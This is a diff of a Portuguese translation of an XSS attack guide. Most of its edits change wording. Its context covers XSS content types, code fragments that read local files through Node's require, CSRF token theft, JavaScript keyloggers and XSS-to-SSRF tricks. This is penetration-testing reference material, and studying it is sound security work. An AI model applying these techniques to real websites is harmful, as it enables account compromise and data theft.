_cabeçalho Location vazio_, `resource://`. ### Apenas Letras, Números e Pontos -Se você conseguir indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento. +Se você conseguir indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento. ### Tipos de Conteúdo ` ``` -### Web Content-Types to XSS +### Tipos de Conteúdo da Web para XSS -(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores: +(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores: - text/html - application/xhtml+xml @@ -932,7 +932,7 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) -### xml Content Type +### Tipo de Conteúdo xml Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário: ```xml @@ -1002,7 +1002,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) // our actual module code }) ``` -Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: +Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1053,7 +1053,6 @@ trigger() - **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) -- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) @@ -1231,9 +1230,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS payloads comuns +## XSS cargas úteis comuns -### Vários payloads em 1 +### Várias cargas úteis em 1 {{#ref}} steal-info-js.md @@ -1389,7 +1388,7 @@ Apenas pesquisando no github, encontrei alguns diferentes: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) -- Você também pode usar o metasploit `http_javascript_keylogger` +- Você também pode usar metasploit `http_javascript_keylogger` ### Roubo de tokens CSRF ```javascript @@ -1432,7 +1431,7 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Payloads de Blind XSS +### Payloads de XSS Cego Você também pode usar: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1536,7 +1535,7 @@ xss-in-markdown.md ### XSS para SSRF -Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Edge Side Include com este payload: +Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Inclusão Lateral com este payload: ```python ``` @@ -1546,7 +1545,7 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje ### XSS em PDF criado dinamicamente Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\ -Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no Servidor**. +Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md @@ -1560,7 +1559,7 @@ pdf-injection.md ### XSS em Amp4Email -AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites). O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails. @@ -1632,7 +1631,7 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet** other-js-tricks.md {{#endref}} -## Recursos XSS +## Recursos de XSS - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)